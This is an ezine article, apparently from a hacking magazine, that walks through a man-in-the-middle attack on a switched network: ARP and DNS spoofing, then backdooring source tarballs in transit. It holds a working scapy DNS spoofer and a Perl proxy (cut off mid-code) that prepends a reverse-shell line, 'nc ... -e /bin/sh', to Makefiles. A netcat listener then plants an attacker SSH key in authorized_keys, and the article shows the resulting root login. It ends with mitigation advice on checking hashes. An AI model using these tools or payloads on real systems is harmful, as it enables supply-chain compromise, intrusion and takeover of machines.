.aware eZine Gamma - Kung Foo Training Kamp
γ
Ω


[==============================================================================]
[----------------------[ Source Tarball MITM On The Fly ]----------------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/´_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>"<######    
  *#########(   )####* 
   ##########>.<#####    by Merit Laas
    ################     
     *############*       
       "T######T"


--[ 00 ]----------------------------------------------[ Table Of Contents ]-----

  (1)  Intro
  (2)  MITM on a switched network
       (2.1)  ARP spoofing (poisoning)
       (2.2)  ICMP Redirect
       (2.3)  DNS spoofing
       (2.4)  More esoterik ideas
  (3)  An example MITM
       (3.1)  Example MITM
       (3.2)  What this looks like on the network 
       (3.3)  How to mitigate MITM
       (3.4)  Secure "protocol"
  (4)  Infecting Tarballs
       (4.1)  Necessary pieces
       (4.2)  Example MITM pt2
       (4.3)  shell sessions & packet traces
  (5)  Conclusion
   
Appendixes:

  (A)  network layout
  (B)  dns spoofer



--[ 01 ]----------------------------------------------------------[ Intro ]-----
         ( why, how and what we are going to do )

This document describes an implementation of a Man In The Middle attack.
Our victim is on the same network segment with us and we know that they are
likely to download one or more source tarballs to install software on their
machine. We are going to try to MITM their http connection and attempt to
inject a backdoor into the tarball while in flight to the victim.

The idea to do this came to me during a wargame. The other team had their
machine reasonably well secured in terms of packages - none had any
publicly known vulnerabilities. Not wanting to just give up, I decided to
target the meatware - admins are notorious for being sloppy. Who bothers
to check those md5sums anyway?

As this attack was intended to be used in a wargame, a bit of care has been
taken for it to work in secured environments and also for it to fly under
the radar.


--[ 02 ]-------------------------------------[ MITM on a switched network ]-----

There are at least 3 options of how to pull off an http MITM on a switched
network. All of them require that the attacker somehow tricks the victim to
route connections through a machine under the attacker's control.

The first two methods - ARP spoofing and ICMP redirect - involve tricking
the victim on the IP protocol level. The third method - DNS spoofing -
requires relatively low effort and is fairly stealthy. It only requires
that ARP poisoning is working to some extent. A few less likely methods
are also presented for inspiration.


----( 2.1 )------------------------------------[ ARP spoofing (poisoning) ]-----

ARP (Address Resolution Protocol) is used to find the link-layer address
of a network address, which mostly means finding the MAC address to reach
an IP. Here is an example ARP conversation:

23:58:10.127121 arp who-has 10.10.0.2 tell 10.10.0.1
23:58:10.127312 arp reply 10.10.0.2 is-at 00:23:02:9a:c3:1c

The tcpdump output above pretty much sums it up: Seems that 10.10.0.1 wants
to talk to 10.10.0.2 and thus asks "who has 10.10.0.2? tell 10.10.0.1!".
10.10.0.2, as a good network citizen must answer with her MAC address:
"10.10.0.2 is at 00:23:02:9a:c3:1c".

ARP spoofing basically means lying about your identity. The attacker has to
react fast and reply the "who-has" with a fake "is-at" faster than the real
owner of the IP (or - more commonly - the attacker would just flood the
network with the fake answer even before the victim asks). Thus, to achieve
a good position for a MITM, an attacker would tell it's victim that it is
the default gateway router and tell the default gateway router it is the
victim. That way, the attacker positions itself between the victim and the
rest of the world, making it possible to intercept and possibly rewrite
any packets passing by.

However, it is possible to fix the MAC address entries in kernel to static
values, which people may do if they suspect some MITM attempts are coming
their way. And during wargames, everyone is very suspicious of everything.

It is worth noting though, that one can only lock the ARP on a machine they
manage. So, if our victim would lock the MAC of the default gateway on
their box, the default gateway would still periodically resolve it's IP
address with ARP. This means, that we have the possibility of hijacking the
streams towards the victim, from the gateway.

It is definitely possible to do a MITM rewriting only one direction of the
connection, but is a bit complicated (we need to rewrite packets on the
transport layer - TCP sequence numbers) and we try to avoid complexity if
we can. Also, ARP spoofing may be noisy if someone is listening.


----( 2.2 )-----------------------------------------------[ ICMP Redirect ]-----

ICMP redirect is meant to be sent by routers to indicate that clients
should use another router to reach a particular host or network. It's use
can be seen from the following commented packet trace:

Client sends an ICMP echo request (ping) to another C class:
00:22:26.125017 00:01:02:03:04:05 > 05:04:03:02:01:00,
   ethertype IPv4 (0x0800), length 98:
      192.168.128.100 > 192.168.77.5:
         ICMP echo request, id 29195, seq 2, length 64

The default router answers with an ICMP redirect to indicate a different
router should be used for this host:
00:22:26.126918 05:04:03:02:01:00 > 00:01:02:03:04:05,
   ethertype IPv4 (0x0800), length 126: 
      192.168.128.1 > 192.168.128.100:
         ICMP redirect 192.168.77.5 to host 192.168.128.151, length 92
               192.168.128.100 > 192.168.77.5: 
               ICMP echo request, id 29195, seq 2, length 64

The client resolves the MAC of the new router (192.168.128.151) it is
redirected to, being answered "0a:0b:0c:0d:0e:0f":
00:22:26.128944 00:01:02:03:04:05 > Broadcast,
   ethertype ARP (0x0806), length 42: 
      arp who-has 192.168.128.151 tell 192.168.128.100
00:22:26.130970 0a:0b:0c:0d:0e:0f > 00:01:02:03:04:05,
   ethertype ARP (0x0806), length 60:
      arp reply 192.168.128.151 is-at 0a:0b:0c:0d:0e:0f

Apparently, tries one more time with the original router
00:22:27.125001 00:01:02:03:04:05 > 05:04:03:02:01:00,
   ethertype IPv4 (0x0800), length 98:
      192.168.128.100 > 192.168.77.5:
         ICMP echo request, id 29195, seq 3, length 64

Is redirected again:
00:22:27.126880 05:04:03:02:01:00 > 00:01:02:03:04:05,
   ethertype IPv4 (0x0800), length 126:
      192.168.128.1 > 192.168.128.100:
         ICMP redirect 192.168.77.5 to host 192.168.128.151, length 92
            192.168.128.100 > 192.168.77.5:
            ICMP echo request, id 29195, seq 3, length 64

This time the client complies and uses the new gateway. Notice, that the
destination MAC has changed to the one that was resolved by ARP earlier:
00:22:28.125001 00:01:02:03:04:05 > 0a:0b:0c:0d:0e:0f,
   ethertype IPv4 (0x0800), length 98:
      192.168.128.100 > 192.168.77.5:
         ICMP echo request, id 29195, seq 4, length 64

To redirect a victim in this way, the attacker needs to know the beginning
of an original packet sent by the victim - the victim must be able to match
the received redirect to a packet it knows it has sent.

One way to get such a packet is initiating a connection from the outside.
If the victim answers (the port is not firewalled), we get an outgoing 
packet from the victim sent directly to us.

However, while at least the linux kernel comes with redirection enabled by
default, it can be easily disabled and would probably be disabled in a
wargame. Redirects are also visible it packet dumps and thus not that
stealthy.


----( 2.3 )------------------------------------------------[ DNS spoofing ]-----

DNS spoofing is pretty much the same idea as ARP spoofing, only at another
level. When the victim makes a DNS request for a domain name, the attacker
can answer with it's own IP, making the victim talk straight to the
attacker - no further trickery involved.

For DNS spoofing to work, we have to know when and what the victim tries to
resolve in order to return a bogus answer. DNS is not sent broadcast as ARP
so we can't just listen in on it. So we need to combine DNS spoofing with a
little bit of ARP poisoning.

Remember how we decided plain ARP poisoning wouldn't work as the victim
probably has it's ARP table locked? And that the router doesn't? And that
it would be complex to MITM that way? Well, it would be pretty simple if we
only needed to rewrite the DNS replies that way. So what we can do is ARP
poison just the router's ARP table and be on the path of arriving DNS
replies - ready to rewrite them.

There is a slightly theoretical issue of ambiguity when the client has
resolved a number of domains via DNS and we have given a single answer to
all of them. How do we know which server the client wants to connect to
when it sends us a packet? For HTTP it is easy, we can use the
"Host: goatporn.com" header. But if the client sends a packet to TCP port
1337? Forwarding the packet to the domain they resolved most recently may
be the best option, but there is no guarantee that the packet isn't really
meant for a domain resolved earlier.

We could probably claim a number of IP addresses on the local network to
use as a pool to identify the sites we have sent a bogus DNS answer for and
forward the victim's connections based on the particular address they are
connecting to. But that seems a bit complicated.

IMO, the sanest decision would be to play the ignorant bliss card and just
forget about it. Especially in that particular setting - the Internet
connection in the wargame was pretty limited and didn't allow anything but
outbound port 80 (http) requests, so the problem wouldn't even rise. You
may need to consider the consequences in different setups though.


----( 2.4 )--------------------------[ More esoterik ideas (less likely ) ]-----

There are a few other options listed - to spark the imagination.

  ----( 2.4.1 )----------------------------------------------( MAC tables )-----

    Switches keep track of MAC addresses connected to their ports in order to
    send packets only to the port where the destination is connected to.
    Sometimes they are willing to update their records of where a certain MAC
    is connected after receiving a single packet with the said MAC as source
    from another port. So, if we sent a packet with the router's MAC, the
    switch would start sending all the packets destined to the router to our
    box instead. Apparently, the switch thinks the router's network interface
    has moved to our network port.

    This is only temporary though, as a single packet from the router will
    change the MAC table back to it's original. Also, there is the problem that
    you need to somehow have connectivity to the Internet while you are cutting
    your default gateway off the network. For a MITM to work you have to be
    able to connect to the remote end too - otherwise there isn't anything to
    be Man In The Middle of.

    We could try to send packets to the router with the broadcast MAC and keep
    on flooding the network with the router's source MAC to keep the tables as
    we want them. It doesn't sound like a very robust solution and there's a
    good chance it doesn't work at all (I'm not crazy enough to try it).

    Alternatively, we could use another router for our Internet traffic, but
    that would require a second network interface in another network. It's
    not as implausible as it may sound, as many office-like setups have both
    wired and wireless connections available.

  ----( 2.4.2 )--------------------------------------------( Own a router )-----

    If you can own any machine on the victims uplink, you can redirect any
    traffic whichever way you wish (for most OSes). The problem with this
    approach is that ISP routers are most likely secured better than your
    average boxes and just owning them out of the blue may be implausible.

    Still, it's worth consideration.

  ----( 2.4.3 )---------------------------------( Routing protocol mayhem )-----

    Most routers (and switches) use various routing protocols to decide on the
    topology of the network and how the packets should be forwarded. For
    switches, it's STP, for routers on smaller network RIP, OSPF or ISIS, for
    internetwork routers BGP. If you can talk any of these on your network it
    may likely present avenues to redirect traffic the way you need.


--[ 03 ]------------------------------------------------[ An example MITM ]-----

"Too much showing off fancy ideas and too little command prompts and packet
traces," I hear you saying? As we have decided to use the DNS spoofing
approach, it seems like a good time to get our hands dirty with the
Forbidden Commands (in Germany, at least).

The machines we are going to use for examples are "fish" (attacker) and
"chips" (victim). See appendix A for a description of the network.


----( 3.1 )------------------------------------------------[ Example MITM ]-----
            ( what happens, when, how, commands )

First, to meet the assumed criteria for the victim we must secure it
against ARP spoofing and ICMP redirection. We can do it like this:

chips:~# ip n
192.168.255.1 dev eth0 lladdr 00:ff:81:58:74:a4 REACHABLE
chips:~# ip n c 192.168.255.1 dev eth0 lladdr 00:ff:81:58:74:a4
chips:~# ip n
192.168.255.1 dev eth0 lladdr 00:ff:81:58:74:a4 PERMANENT
chips:~# cat /proc/sys/net/ipv4/conf/*/accept_redirects
1
1
1
1
chips:~# for f in $(ls /proc/sys/net/ipv4/conf/*/accept_redirects); do
echo 0 > $f
done
chips:~# cat /proc/sys/net/ipv4/conf/*/accept_redirects
0
0
0
0

That done, we can move to the attacking position. First, we need to set up
IP forwarding on our attacking box, so that our ARP poison doesn't cut the
victim's connections to the Internet:

fish:~# echo 1 > /proc/sys/net/ipv4/conf/all/forwarding 
fish:~# cat /proc/sys/net/ipv4/conf/all/forwarding 
1

This sets the linux kernel up to forward the packets between our victim and
the gateway on the network. However, we don't want to forward DNS replies as
we are going to fake those:

fish:~# iptables -I FORWARD -p udp --sport 53 -j DROP

Then, ARP poison the router into thinking we are the victim box. We can use
arpspoof for that:

fish:~# arpspoof -i eth0 -t 192.168.255.1 192.168.255.134
52:54:0:12:34:5 0:ff:81:58:74:a4 0806 42:
arp reply 192.168.255.134 is-at 52:54:0:12:34:5
52:54:0:12:34:5 0:ff:81:58:74:a4 0806 42:
arp reply 192.168.255.134 is-at 52:54:0:12:34:5
52:54:0:12:34:5 0:ff:81:58:74:a4 0806 42:
arp reply 192.168.255.134 is-at 52:54:0:12:34:5
...

Next, we set up a DNS MITM with a custom scapy script (see appendix B):

fish:~# ./dnsmitm.py 192.168.255.133 52:54:00:12:34:06

And lastly, try to ping www.google.com on the victim box:

chips:~# ping -c 1 www.google.com
PING www.l.google.com (192.168.255.133) 56(84) bytes of data.
64 bytes from 192.168.255.133: icmp_seq=1 ttl=64 time=7.88 ms

--- www.l.google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 7.883/7.883/7.883/0.000 ms

As you can see from the output of ping, the MITM worked and we directed
the victim to our box instead of the "more official" official google
servers (yep, our google server isn't official).

The following piece from dnsmitm.py output describes what it did:

Before:
rrname     : DNSStrField          = 'www.l.google.com.' ('')
type       : ShortEnumField       = 1               (1)
rclass     : ShortEnumField       = 1               (1)
ttl        : IntField             = 198L            (0)
rdlen      : RDLenField           = 4               (None)
rdata      : RDataField           = '66.249.91.103' ('')

After: 
rrname     : DNSStrField          = 'www.l.google.com.' ('')
type       : ShortEnumField       = 1               (1)
rclass     : ShortEnumField       = 1               (1)
ttl        : IntField             = 198L            (0)
rdlen      : RDLenField           = 4               (None)
rdata      : RDataField           = '192.168.255.133' ('')


----( 3.2 )-------------------------[ What this looks like on the network ]-----

To see the whole picture, not just some imaginary command prompts, here is
a (commented) packet trace from the victim machine during the ping:

The victim resolves www.google.com from the router 192.168.255.1. There are
no ARP queries as the router's MAC address is made permanent in kernel:
20:09:46.681723 52:54:00:12:34:06 > 00:ff:81:58:74:a4,
   ethertype IPv4 (0x0800), length 74:
      (proto: UDP (17), length: 60)
      192.168.255.134.1026 > 192.168.255.1.53:
         32428+ A? www.google.com. (32)

The answer comes in directing to the attacker server. Notice, that also the
source MAC is spoofed to be more inconspicuous:
20:09:47.186746 00:ff:81:58:74:a4 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 494:
      (proto: UDP (17), length: 480)
      192.168.255.1.53 > 192.168.255.134.1026:
         32428 4/7/0
            www.google.com. CNAME www.l.google.com.,
            www.l.google.com. A 192.168.255.133,
            www.l.google.com. A 192.168.255.133,
            www.l.google.com. A 192.168.255.133 (452)

The usual ping echo request/reply:
20:09:47.194927 52:54:00:12:34:06 > 52:54:00:12:34:05,
   ethertype IPv4 (0x0800), length 98:
      (proto: ICMP (1), length: 84)
      192.168.255.134 > 192.168.255.133:
         ICMP echo request, id 59916, seq 1, length 64
20:09:47.206051 52:54:00:12:34:05 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 98:
      (proto: ICMP (1), length: 84)
      192.168.255.133 > 192.168.255.134:
         ICMP echo reply, id 59916, seq 1, length 64

The attacker resolving victim's MAC address by ARP:
20:09:52.230244 52:54:00:12:34:06 > 52:54:00:12:34:05,
   ethertype ARP (0x0806), length 42:
      arp who-has 192.168.255.133 tell 192.168.255.134
20:09:52.250149 52:54:00:12:34:05 > 52:54:00:12:34:06,
   ethertype ARP (0x0806), length 60:
      arp reply 192.168.255.133 is-at 52:54:00:12:34:05

The victim performs a reverse DNS query, which comes back empty:
20:09:52.256212 52:54:00:12:34:06 > 00:ff:81:58:74:a4,
   ethertype IPv4 (0x0800), length 88:
      (proto: UDP (17), length: 74)
      192.168.255.134.1026 > 192.168.255.1.53:
         20436+ PTR? 133.255.168.192.in-addr.arpa. (46)
20:09:52.352026 00:ff:81:58:74:a4 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 188:
      (proto: UDP (17), length: 174)
      192.168.255.1.53 > 192.168.255.134.1026:
         20436 NXDomain* 0/1/0 (146)

Of course a clever administrator would notice that they are talking to a
google server which is supposedly on the local network. The attack,
however, is in no way limited to the local network and we'll mount a less
obvious MITM in a little while.


----( 3.3 )----------------------------------------[ How to mitigate MITM ]-----

Even though we only forced the client to ping our box instead of the
intended target it clearly shows that it is not that technically demanding
to execute such an attack - even if some care has been taken on the OS
level to make it harder.

However, there is a way to make all of this impossible: by utilizing
cryptography. Use https instead of http, ssh instead of telnet and check
the md5sums of the files you download. Of course, for all these methods
there must be a secure channel to verify the tokens - you must know whether
to trust the SSL certificate, RSA key fingerprint or any particular md5sum
(in fact, rattle would very much like you all to know, that you should not
trust MD5 at all and possibly not SHA either).

Oftentimes we are only limited to one network connection so the only
available security decision is usually to blindly trust a key the first
time real quick and use that key to secure any further communications. This
reduces the window of opportunity for an attacker to just a few packets.

However, you must not do this if the computer system REALLY must be secure.
It may stop the majority of opportunistic attacks, but if you also fear a
dedicated attacker who is willing to wait for their chance, they will just
MITM your initial key download. Call a friend abroad and ask them to check
the key id or hash over their connection. It is far less likely or
plausible for an attacker to be also MITMing on the traffic of your
arbitrary friends.


----( 3.3 )-------------------------------------------[ Secure "protocol" ]-----

For the sake of using similar terms, We'll be calling "verifying an md5sum
of your downloaded package" a "protocol". This is so that we could compare
it to HTTPS and SSH without feeling stupid. Let's look at the protocol for
a little:

Technically, it should be hard to attack. If the md5sum of the package you
are downloading is known, then you can check the known good md5sum against
your downloaded package. If there's a difference, there's something wrong.

There are three assumptions here though. First - it is assumed we somehow
know the authentic md5sum while in reality we usually have to fetch the it
on the same insecure link we are fetching the package from. If an attacker
can modify the package, she can also modify the md5sum. Second - we assume
that MD5 collisions are hard to find which may not be the case. Third and
IMO the most fatal as it goes beyond the hash algorithm and security of
the network connection - a person is expected to actually check the hash.
How often do you check the hash of your downloads? I bet not that often.

Verifying downloaded packages is an important aspect of a package
management system for any linux distro and luckily they have got it
reasonably well (afaik). The key they use to sign the packages is on an ISO
so the only reasonable time to change it is while you download the ISO. If
you get it via mail burned on a CD, they would have to attack the snail
mail system, which is I assume is beyond all but the most determined
attackers who may be more likely to threaten to cut off your body parts if
you don't comply with their demands and unless you are the type that always
has a few thugs hanging around because they are "generally useful", you
wouldn't be worrying about those kinds of attackers.


--[ 04 ]---------------------------------------------[ Infecting Tarballs ]-----

Thus far we have established that there is a good chance of executing a
successful MITM attack against a victim on your local network. We have
reasoned that automatic schemes that use good cryptographic solutions are
likely hard to crack and have decided to attack the process of fetching
source packages, where the meatware has a nice opportunity to screw up by
not checking the integrity of their download.


----( 4.1 )--------------------------------------------[ Necessary pieces ]-----

Let's go through the process of installing a tarball. It should usually go
pretty much like this:

 1. admin executes wget http://good-server.com/ball.tar.gz
 2. machine resolves the default gateway by ARP and vice versa
 3. machine resolves 'good-server.com' by DNS
 4. machine makes a HTTP request for the ball.tar.gz
 5. data flows back
 6. tar xzf ball.tar.gz; cd ball-1.0/
 7. ./configure; make; make install

We can attack the 3rd step to point the victim to a server of our choosing.
That means that at the 4th step the victim would connect to a machine under
our control. We can forward the request to the right server by the Host
header in HTTP/1.1 requests and thus control the 5th step - we know where
to get the expected data from but are in a position to make modifications
to it.

Looking further along the "wget path" the most easily attacked bit seems
to be either the './configure' or the 'make' part. As some packages might
not contain a configure script or some admins might not call 'make
install', it would be best if we could attack the 'make' part.

What we would need to do is to modify the Makefile to do something
naughty, preferably without any obvious side-effects. My best solution
is to prepend something like this to a Makefile:

ZXC := $(shell nc evilhost 12345 -e /bin/sh)

And have the evilhost host a small script on 12345 that would get the
username and install a ssh key for the user.

Now, to actually infect a tarball, we have to change the content
transmitted at step 5. In order to change it, we have to unpack the
original tarball, parse the tar format, look for Makefiles in the data
stream, prepend our evil variable declaration to them and repack the
tarball. All of that has to happen on the fly as the victim expects the
usual speedy http download.

Component-wise, we need a web proxy that would do the injection part, a
simple inetd server to serve the infecting shell script to our connect-
back shell and of course the MITM component, which we already have (the
same solution we used to redirect the ping to google).

I'll use the magic of writing a paper now, and pretend that all the
development work took as long as writing this sentence.


----( 4.2 )--------------------------------------------[ Example MITM pt2 ]-----
             ( from where we left off )

The MITM will happen in a similar setting. Only difference is, that we
spoof another IP with dnsmitm (a public one, to avoid suspicion):

fish:~# ./dnsmitm.py 82.131.30.120 52:54:00:12:34:06

And on that machine, 82.131.30.120 (aka "windolik"), we run our tar
injecting proxy (see appendix C):

windo@windolik:~/tarinject$ ./proxy.pl

and on "fish", we also run a netcat that will provide an evil shell script
to the rather general reverse shell we inject to the tarball (word
wrapped to fit):

fish:~# echo 'mkdir -p $HOME/.ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQ
EAr185zP6O1tsdpj+salt4oWZX2zLIj7xjTAQL2T9t7XPuMzWrURuGT7ykWI3XG3eYec5tyzJGD
z0JkzcCWF0dlT8eurl7wWbQCSFrHe30WOoSOYSQthp/t1aIjapmkDAL1tkFYTAXGN3iBnl1bsaO
8BWreBNwp2wk96XoZc+tHSPCjE6U91wjHrFUaQhw8n6WgqtUQxQbJivXjmW9YDVBs+1t7tSUteI
UWMOaL5ifcaI1mysIuNlY/Dt2ArI6Wtka/+FzqEKVFnqej+QZmuIHhUP9uDwwzGB0woo1NDClyl
qcaFwOVfRH9fHPAxV4aMnFqTZHiXs97YgCGRZFXEruOQ== root@fish" >> $HOME/.ssh/aut
horized_keys; echo $LOGNAME; echo $USER' | nc -l -p 8000 -v -n -q 1

It installs an ssh key and reports back the username who ran it.

Having done that, we can wait for the victim to decide he needs to install
a package. For simplicity, I used a very small tarball that only contains
a Makefile with the following contents:

all: binary
binary:
	touch binary


----( 4.3 )------------------------------[ shell sessions & packet traces ]-----

To get an idea what such an attack would yield, here is a sample session
from the victim's perspective:

chips:~# wget http://p6drad-teel.net/~windo/jama/bla.tar.gz
--00:30:16--  http://p6drad-teel.net/~windo/jama/bla.tar.gz
           => `bla.tar.gz'
Resolving p6drad-teel.net... 82.131.30.120
Connecting to p6drad-teel.net|82.131.30.120|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified

[  <=>                                               ] 221        575.52B/s

00:30:27 (575.08 B/s) - `bla.tar.gz' saved [221]

chips:~# tar xzf bla.tar.gz 
chips:~# make
touch binary
chips:~#

There is not much that would give away the attack if the victim does not
either:
 * Know the right IP for p6drad-teel.net (or whichever host) by heart
 * Check the contents of the Makefile
 * Check the md5sum of the tarball

The session of the attacker, installing the ssh key:

fish:~# echo 'mkdir -p $HOME/.ssh; echo "ssh-rsa AAAAB3 ...
listening on [any] 8000 ...
connect to [192.168.255.133] from (UNKNOWN) [192.168.255.134] 3540
root
root
fish:~# ssh root@192.168.255.134
Last login: Tue May 13 00:15:33 2008 from 192.168.255.133
Linux clean-box 2.6.18-5-686 #1 SMP Fri Jun 1 00:47:00 UTC 2007 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
chips:~#

Therefore we see that not verifying the integrity of your downloads may have
a very bad impact on your day.

To have a complete overview of what is going on, here is a partial
(commented) packet trace of the attack up the point of planting the ssh
key (from the perspective of the victim):

First, wget tries to resolve an IPv6 address (AAAA record), fails and
gets the IPv4 address (A record).
00:30:16.089893 52:54:00:12:34:06 > 00:ff:81:58:74:a4,
   ethertype IPv4 (0x0800), length 75:
      (proto: UDP (17), length: 61)
      192.168.255.134.1033 > 192.168.255.1.53:
         55053+ AAAA? p6drad-teel.net. (33)
00:30:16.168405 00:ff:81:58:74:a4 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 158:
      (proto: UDP (17), length: 144)
      192.168.255.1.53 > 192.168.255.134.1033:
         55053* 0/1/0 (116)
00:30:26.416774 52:54:00:12:34:06 > 00:ff:81:58:74:a4,
   ethertype IPv4 (0x0800), length 75: 
      (proto: UDP (17), length: 61)
      192.168.255.134.1033 > 192.168.255.1.53:
         64115+ A? p6drad-teel.net. (33)
00:30:26.535107 00:ff:81:58:74:a4 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 250:
      (proto: UDP (17), length: 236)
      192.168.255.1.53 > 192.168.255.134.1033:
         64115* 1/3/0 p6drad-teel.net. A 82.131.30.120 (208)

Then it initiates a TCP connection to a machine under our control and makes
the HTTP request:
00:30:26.538659 52:54:00:12:34:06 > 00:ff:81:58:74:a4,
   ethertype IPv4 (0x0800), length 74:
      (proto: TCP (6), length: 60)
      192.168.255.134.2076 > 82.131.30.120.80: SYN
00:30:26.619451 52:54:00:12:34:05 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 74:
      (proto: TCP (6), length: 60)
      82.131.30.120.80 > 192.168.255.134.2076: SYN-ACK

... a bunch of downloading data

A bit later, when the Makefile is executed, it fetches the evil shell
script to execute it:
00:31:09.631978 52:54:00:12:34:06 > ff:ff:ff:ff:ff:ff,
   ethertype ARP (0x0806), length 42:
      arp who-has 192.168.255.133 tell 192.168.255.134
00:31:09.637132 52:54:00:12:34:05 > 52:54:00:12:34:06,
   ethertype ARP (0x0806), length 60:
      arp reply 192.168.255.133 is-at 52:54:00:12:34:05
00:31:09.637795 52:54:00:12:34:06 > 52:54:00:12:34:05,
   ethertype IPv4 (0x0800), length 74:
      (proto: TCP (6), length: 60)
      192.168.255.134.3540 > 192.168.255.133.8000: SYN
00:31:09.645537 52:54:00:12:34:05 > 52:54:00:12:34:06,
   ethertype IPv4 (0x0800), length 74:
      (proto: TCP (6), length: 60)
      192.168.255.133.8000 > 192.168.255.134.3540: SYN-ACK


--[ 05 ]--------------------------------[ Conclusion: check those MD5sums ]-----

For the short conclusion: check the md5sums or sha1sums or whichever 
hashes of those downloads.

While it is possible to construct blobs with the same md5 hashes, it is
still relatively hard to find a collision without specially preparing the
packages first, definitely hard to do on the fly. And whenever possible
(like when remotely administrating a machine), use different links for
downloading and hash verification.

Also keep in mind, that while digital signatures and CA's and so forth
are cool, doing something like:

gpg --recv-keys KEYID

can be easily intercepted by an attacker on your local network. Choosing
to trust a new SSL certificate is just as dangerous.

For the more general conclusion: be conscious of the fact that a human on
your system can easily break all security. Always think of how you could
screw up in your every-day work and avoid doing it.


---[ Appendix A ]----------------------------------------[ network layout ]-----

The machines in use for the examples are "fish" and "chips":

fish:       IP: 192.168.255.133
chips:      IP: 192.168.255.134

A bit less important machines:

router:     IP: 192.168.255.1
windolik:   IP: 82.131.30.120

"fish" and "chips" are set up in a same network segment together with a
router that connects them to the rest of the world:

    /----------\
    | windolik |
    \----------/
         |
    THE INTERNET
         |
    /----------\
    |  router  |
    \----------/
         |
    /----------\
    |  SWITCH  |
    \----------/
      |      |
 /------\  /-------\
 | fish |  | chips |
 \------/  \-------/

"fish" and "chips" are virtual, emulated by QEMU, as is the switch,
emulated by vde_switch of VDE (Virtual Distributed Ethernet). "windolik" is
a real machine on the Internet. All machines run a version of Debian Linux.


---[ Appendix B ]-------------------------------------------[ dns spoofer ]-----

#!/usr/bin/python

from scapy import *
import sys

if len(sys.argv) != 3:
   print "Usage: dnsmitm.py <ip> <real-mac>"
# the answer to all DNS queries
spoofit = sys.argv[1]
# the real mac of our victim
realmac = sys.argv[2]

# mitm loop
while True:
   # get a dns packet
   packet = sniff(count=1, lfilter=lambda x: x.haslayer("UDP") and \
      x.getlayer("UDP").sport == 53)[0]
   #ls(packet)
   # TODO: for HTTP/1.0 requests (without Host:), write this someplace our
   # webmitm can use as a last resort
   originalhost = packet.qd.qname
   # rewrite the answer
   #print "Before: "
   #ls(packet.an)
   an = packet.an
   while an:
      # domain names end in "."
      if an.rdata[len(an.rdata)-1] != "." and an.type == 1:
         an.rdata=spoofit
      an = an.payload
   #print "After: "
   #ls(packet.an)
   # modify hw-dst
   packet.dst = realmac
   # needed to calculate the correct checksums
   packet.getlayer("UDP").chksum=None
   packet.getlayer("IP").chksum=None
   packet.getlayer("UDP").len=None
   packet.getlayer("IP").len=None
   # pass the modified answer
   print "spoofed one!"
   sendp(packet)


Appendix C - tar infector source

#!/usr/bin/perl

use HTTP::Daemon;
use HTTP::Status;
use Net::HTTP;
use POSIX;
use IPC::Open2;
use IO::Select;
use Time::HiRes qw( usleep );

# infector
BEGIN {
   my $uncompr_sel, $uncompr_pid, $uncompr_out, $uncompr_in;
   my $compr_sel, $compr_pid, $compr_out, $compr_in;
   my $c, $inject, $tarbuf, $tarofs, $tarskipto;
   my $injecting;
   # added to makefiles
   # adds new pseudotarget, can run in background
   # runs a shell expansion, can't go into background AFAIK
   my $evilcode = "XKCD := \$(shell nc 192.168.255.133 8000 -w 1 -e /bin/sh)\n";

   # setup the pipes
   sub init_inject {
      # connection to client (victim)
      $c = shift;
      # URI being downloaded
      $uri = shift;
      # for gzipped tar
      if ($uri =~ /tar\.gz$/ || $uri =~ /tgz$/) {
         print "Opening compressors: GZIP\n";
         $uncompr_pid = open2($uncompr_in, $uncompr_out, "gunzip");
         $uncompr_sel = IO::Select->new($uncompr_in);
         $compr_pid = open2($compr_in, $compr_out, "gzip -f -");
         $compr_sel = IO::Select->new($compr_in);
         $inject = 1;
         print "Opened compressors\n";
      }
      # for bzip2d tar
      elsif ($uri =~ /tar\.bz2$/) {
         print "Opening compressors: BZIP2\n";
         $uncompr_pid = open2($uncompr_in, $uncompr_out, "bunzip2");
         $uncompr_sel = IO::Select->new($uncompr_in);
         $compr_pid = open2($compr_in, $compr_out, "bzip2 -f -");
         $compr_sel = IO::Select->new($compr_in);
         $inject = 1;
         print "Opened compressors\n";
      }
      # else, just pass it through
      else {
         $inject = 0;
      }
      # some internal variables for housekeeping while modifying the tar
      # how far along in the archive are we
      $tarofs = 0;
      # offset of the next file header
      $tarskipto = 0;
      # used to collect a full tar block (512 bytes)
      $tarbuf = "";
      # wether we are currently injecting
      $injecting = 0;
   }
   
   sub end_inject {
      if ($inject) {
         print "Closing compressors\n";
         close($uncompr_out);
         # allow for the uncompressor to uncompress the last buffer
         usleep(200000);
         handle_injection("");
         close($uncompr_in);
         close($compr_out);
         usleep(200000);
         handle_injection("");
         close($compr_in);
         print "Closed compressors\n";
      }
   }

   sub inject_tar {
      # a block tar
      my $buf = shift;
      my $retbuf = "";

      # 3 buffers are used here
      # $buf - input buffer, read 512 bytes at a time
      # $tarbuf - used to keep leftovers until we have full 512 bytes
      # $retbuf - what we return to client, 512 bytes. 1024 bytes when we just 
      # injected
      
      # read the input buffer block by block
      while (length($buf) > 0) {
         # if we have less than a block, store it and wait for more
         if (length($buf) + length($tarbuf) <= 512) {
            $tarbuf .= $buf;
            $tarofs += length($buf);
            $buf = "";
            last;
         # else, take a block for injection
         } else {
            my $subset = 512 - length($tarbuf);
            $tarofs += $subset;
            $tarbuf .= substr($buf, 0, $subset);
            $buf = substr($buf, $subset, 999999);
         }

         # contents of a the file are passed through
         if ($tarofs != $tarskipto + 512) {
            $retbuf .= $tarbuf;
            $tarbuf = "";
         # for file header blocks, we consider injection
         } else {
            my $filename = substr($tarbuf, 0, 100);
            my $filesize = oct(substr($tarbuf, 124, 12));
            # we inject to Makefiles
